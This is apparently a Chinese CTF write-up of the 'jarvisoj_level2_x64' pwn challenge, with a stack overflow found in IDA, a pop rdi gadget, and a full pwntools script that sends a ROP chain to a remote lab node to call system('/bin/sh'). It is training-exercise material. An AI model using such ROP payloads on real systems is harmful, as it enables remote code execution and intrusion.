jarvisoj_level2_x64

没有开启栈保护,只有nx保护

运行一下,流程不能忘

输入?注意下输入函数

IDA打开

buf只要128,却读取了0x200

这包给他构建函数的

这是64位,我们首先要通过寄存器传参

ROPgadget --binary jar --only 'pop|ret'

这里我师傅说一般用pop rdi

所以记录地址

这道题system和bin/sh都是直接拿到的

 

from pwn import *

context(log_level = 'debug')
elf = ELF('./jar')
p = remote('node5.buuoj.cn',25222)

systemaddr=0x40063E
shelladdr=0x600a90
pop_rdiaddr=0x4006b3

payload= b'a'*(0x80+8)+p64(pop_rdiaddr)+p64(shelladdr)+p64(systemaddr)

p.sendline(payload)
p.interactive()

 我们的esp是在低地址的,虽然栈是上面溢出,但是地址是从下面开始运行的

所以我们填充完后,程序先执行到pop ,这个Pop 有两个左右 pop 下面一个参数,system 然后 跟着return,又回到下面了,下面紧跟着就是参数 shell

如果是32位 我们payload安排就是 system +shell这样构建就ok

相关推荐

  1. 本地搭建ros2环境步骤(x86_64架构)

    2024-07-14 08:34:02       19 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-07-14 08:34:02       67 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-07-14 08:34:02       71 阅读
  3. 在Django里面运行非项目文件

    2024-07-14 08:34:02       58 阅读
  4. Python语言-面向对象

    2024-07-14 08:34:02       69 阅读

热门阅读

  1. vue怎样自定义指令?

    2024-07-14 08:34:02       22 阅读
  2. c++【入门】求平均分

    2024-07-14 08:34:02       21 阅读
  3. 12. DDL-数据库的管理

    2024-07-14 08:34:02       23 阅读
  4. 菜鸡的原地踏步史08(◐‿◑)

    2024-07-14 08:34:02       26 阅读
  5. Elasticsearch 角色和权限管理

    2024-07-14 08:34:02       24 阅读
  6. Git配置笔记

    2024-07-14 08:34:02       30 阅读
  7. Docker安装Zookeeper、RocketMQ

    2024-07-14 08:34:02       26 阅读
  8. 计算1的数量

    2024-07-14 08:34:02       28 阅读
  9. 特斯拉的选择:.NET技术栈的工业级魅力

    2024-07-14 08:34:02       20 阅读
  10. 1、ASP安全

    2024-07-14 08:34:02       22 阅读
  11. 数据结构第24节 二分查找

    2024-07-14 08:34:02       19 阅读